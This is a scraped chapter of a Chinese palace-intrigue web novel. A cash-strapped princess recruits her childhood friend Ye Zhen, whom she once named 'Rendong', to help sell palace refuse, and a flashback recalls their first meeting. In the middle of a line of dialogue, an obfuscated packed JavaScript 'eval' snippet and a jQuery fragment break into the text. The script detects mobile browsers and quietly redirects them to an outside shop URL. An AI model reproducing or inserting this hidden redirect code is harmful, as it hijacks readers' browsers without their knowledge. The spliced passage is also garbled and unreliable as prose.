文趣网 > 其他小说 > 大燕最强招聘官 > 5. 忍冬
    燕羲最近的日子过的着实不错,辰时去城郊道观施粥布善,午后去给皇帝按摩磨墨,晡时去藏春坞逛一圈,作息十分规律。

    被封为长公主后,做事方便了许多,宫女太监们都敬她三分,过去她可没有享受过这待遇。

    燕羲如今陷入了一个很无奈的困局——她没有银两花了。

    烦心事千千万,缺钱占一半,任她舌灿莲花,这银钱也不往她兜里跑。

    再不赚钱去施粥连清水都拿不出来了,她跟贫苦百姓一块啃树皮嚼树根去。

    唉…路漫漫其修远兮。

    行走江湖,江湖难啊,谈笑间,钱财灰飞烟灭。

    还得防着那皇帝老头起疑心。

    寝宫内,燕羲手中捧着一本黄皮书,敛神专注地学习着,时不时在书页上写写画画做些标注。

    不过这字嘛,歪歪扭扭的像蜈蚣,不伦不类无拘无束,像是鬼画出来的。

    燕羲称这为狂草,洒脱不羁,世间独有。

    学不过半响,燕羲便开始发呆,百无聊赖的跟侍女搭起话来。

    “哎,你说我这字要是拿去卖岂不是价值黄金万两?”

    “……”

    一旁的侍女面无表情。

    “九成九的稀罕物,是不?”

    “殿下,奴婢不识字也不识货,但想来确实特殊,大抵是可以的吧。”

    燕羲若有所思,“等我学完这一本,你就收拾一下我学过的书,拿去卖掉,看看值多少钱。”

    侍女委婉劝道:“殿下,温故而知新,往后您还要复习,卖掉多可惜呀。

    燕羲撇了撇嘴。

    侍女心底默默叹了口气,“奴婢觉得可以。”

    “有眼光!”

    燕羲又看了一会,直到看够一半才把书放下。

    “本宫出去一趟,不必跟着,若有外人来寻,好生招待着。”

    尚宫局内,陈年墨香混杂着干燥竹纸的气息扑面而来,屋内十分安静清幽,女官们都按照品级穿统一常服,各人做着各人的事情,只有笔尖划过纸张的沙沙声、低声汇报的声音和偶尔的踱步声。

    燕羲无意惊扰旁人,逛了几圈,梭巡着自己想找的人。

    一位姿态瑰丽、气质超逸的女子正站在一批脂粉货物前记录着什么。

    燕羲眼睛亮了亮,走上前去。

    “叶大人,还在忙着?”

    那女子转头,露出一张秾丽的脸。

    她脸上闪过一丝诧异转瞬即逝,随即双手交叠于胸前,微微屈膝,头低而不垂,不卑不亢行礼,“臣尚宫局司薄叶氏,参见公主殿下,公主殿下万福金安。”

    燕羲上前抬了抬她的胳膊,“免礼。”

    那女子一眼便知燕羲有话要说,把手头的册子交给一旁的小宫女,脸上先笑三分,迎上前去,语气轻柔,“公主殿下,去我那说吧。”

    燕羲跟随她的脚步进入司薄内她的住处,她的屋子简朴而整洁,床单铺的一丝不苟,被褥叠的整整齐齐,窗台上一个花瓶里养了一束不知道叫什么名字的野花,桌子上陈旧的书籍整整齐齐的摞在一块,一看就是常看常翻。

    “殿下,您先坐。”

    那女子先是给燕羲拿出铺着锦缎软垫的圆墩,又给她拿了个小手炉,将她妥帖的安置好。

    随即才不紧不慢的温杯涤盏、拨茶入瓯,注水、出汤一套动作行云流水,顷刻一股芬香馥郁的茶香便溢满全屋。

    她先给燕羲倒了一杯,然后才给自己倒上。

    “慢点喝,小心烫。”

    燕羲抿了一小口,夸赞道:“好喝哎。”

    燕羲并非是哄她,而是真心实意的觉得这茶泡的不错,她平日里不是爱喝茶的人,可以说是喝不上大部分茶水的味道。

    但她泡的不一样,香的恰到好处,汤感入口顺滑。

    那女子眼中也带出些笑意,“殿下谬赞,还要恭喜殿下,最近真真是春风得意。”

    “你可别打趣我了。”

    “忍冬,我此次前来,是有事想跟你商议。”

    叶蓁没有立刻拒绝,试探道:“公主殿下太抬举臣了,小女子只是一介女流,讲好听些,宫中称我一声司薄大人,说直白些,不过是天家的奴仆,我又能为公主做什么呢?”

    燕羲有些无奈,“忍冬,你可别自贬了,若你这般才干都不可以,那我真是不知道还能再找谁帮我。”

    “忍冬,你过去跟我说的话还作数吗?”

    叶蓁看着燕羲亮晶晶的杏眼,圆滑如她,也不忍心说出拒绝的话,更何况面对的人是她呢,她一向对燕羲没有什么抵抗力。

    “做数,从来都作数。”

    叶蓁记性很好,十岁那年她辞别主人家,主动入了宫。

    那年冬天大雪,天地一白,酷寒袭人,叶蓁吃着一个干巴的窝窝头,手中拿着捡来的话本,一个人坐在残破的旧殿台阶上。

    周遭万籁俱寂,一个稚嫩身影从杂草中钻了出来,叶蓁第一反应是有些错愕,这里荒凉寥落,不常有人来。

    燕羲比她小上个俩三岁,穿的十分素静,长相倒是意料之中,与如今大差不差,不过当时的她看着瘦小单薄,尚是未抽条的孩童模样。

    也不知道是吃什么长大的,如今长的比她都高了。

    然后,她听见,有一个稚嫩的声音对自己说,“姐姐,你好厉害,你会识字?”

    叶蓁僵硬局促道:“嗯…不过就只会一点点。”

    “姐姐,你教我读着一页好不好?我用肉饼跟你换,我还可以给你带更多的书来。”

    “好。”

    “姐姐你叫什么?”

    “叶蓁,其叶蓁蓁的蓁,蓁是草字头下面一个秦”

    “姐姐,你有字吗?”

    “没有,怎么你想给我起一个呀?我们奴婢是不需要这些的呀。”

    燕羲心中有些奇怪,此人举手投足间都带着一股气韵,又能识字读书,并不像是奴婢出身的人该有的。

    “没有,只是觉得姐姐应该会有这么一个字…姐姐特别像一朵忍冬花。”

    “哪里像了?”

    “身上有一点清甜的香,耐严寒,带着些风霜,春回时就会抽出新芽。”燕羲一本正经道。

    叶蓁笑了:“你懂的还挺多。”

    燕羲:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794943|210478||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当然啦,姐姐给我的感觉同这朵花一模一样。”

    野火烧不尽,春风吹又生。

    叶蓁喃喃道:“忍冬吗…?那就叫忍冬吧。”

    叶忍冬…叶蓁很喜欢这个名字。

    对燕羲来说这可能只是一句孩童间的玩笑话。然对她而言,这个名字承载了她所有的希冀,她也渴求能像忍冬花一样熬过严寒,逢春新生。

    往后长路多坎坷,每每心神倦怠、几欲放手时,这些话便会浮上来,陪着她走过漫长岁月。

    后来境遇渐好,她已是尚宫局的大宫女,她才知晓燕羲是皇九女,亲生母亲是早已死去的卫贵妃。

    卫贵妃是皇帝出巡时江南时带回来的农女,是盛极一时的宠妃。不过,红颜薄命,早早便香消玉殒了。

    燕羲自从没了母亲,皇帝也不想看见这伤心之地,索性冷落了她。

    下人们见状便捧高踩低,饮食上苛待,连生病身边也没个人照顾去看看。

    毕竟皇帝的态度摆明了不在意,公主又不似皇子,没人想哄着一个没前途又不受宠爱的小公主。

    叶蓁不明白。

    燕羲投喂她时,从来不说这些,她每次来,都是带着笑来的。

    “忍冬,你在想什么呢?是在想怎么拒绝我吗?”燕羲眨了眨眼。

    叶蓁思绪被她叫回,看着燕羲一双莹润的杏眼盯着她看,实在没忍不住摸了摸她光滑瓷白的小脸,“在想你气色怎么这么不好。”

    燕羲:“…没涂胭脂,素着就来了。”

    叶蓁叹了口气,哪该是胭脂的事,分明是身体不好还不想让她担心,一直都这么逞能。

    叶蓁慈爱般看着她,燕羲被她这眼神看的心底发毛。

    “?”

    “说说吧,需要我做什么?”

    “哦哦…”

    燕羲立刻凑到她耳边,嘀哩咕噜一顿输出。

    叶蓁眼睛睁大了,“啊…卖宫里的废品…?你倒是有天赋。”

    “这很暴利好吧,你看燕京城底那个村,不就是靠这个发迹的,村里都里外俩层里三层了,宫里不在意这点钱,那我拣这个漏子行不行?”

    “等挣到钱了,我便在我的食邑上置办些产业,到时候,我们就不必这么做了。”

    “你倒是不担心把自己弄的脏兮兮的。”

    叶蓁半开玩笑,“说不定哪一天我就托你的福被押送进去了。”

    燕羲知道她这是松口了,许诺道:“分你四成,到时候捞也给你捞出来,成不成,我的户部尚书?”

    “成,那我就等你好消息了。”

    解决了钱这个心头大患,燕羲心情不错,平日里她向来行事沉稳,这时走路却也雀跃了不少。

    这可是钱啊,跟平常能一样吗?

    燕羲一阵财迷心窍,神思漂浮:府门一开,金光漂浮,金银珠宝如瀑布溢了出来,藏春坞里的大肥猫正窝在珠宝上面,脖子上耳朵上都带着金链子…

    “啊…!”

    砰的一下,燕羲撞到了宫门上,几个宫女被这动静震的回头一看。

    燕羲立刻转过身子,揉着额头若无其事离开了。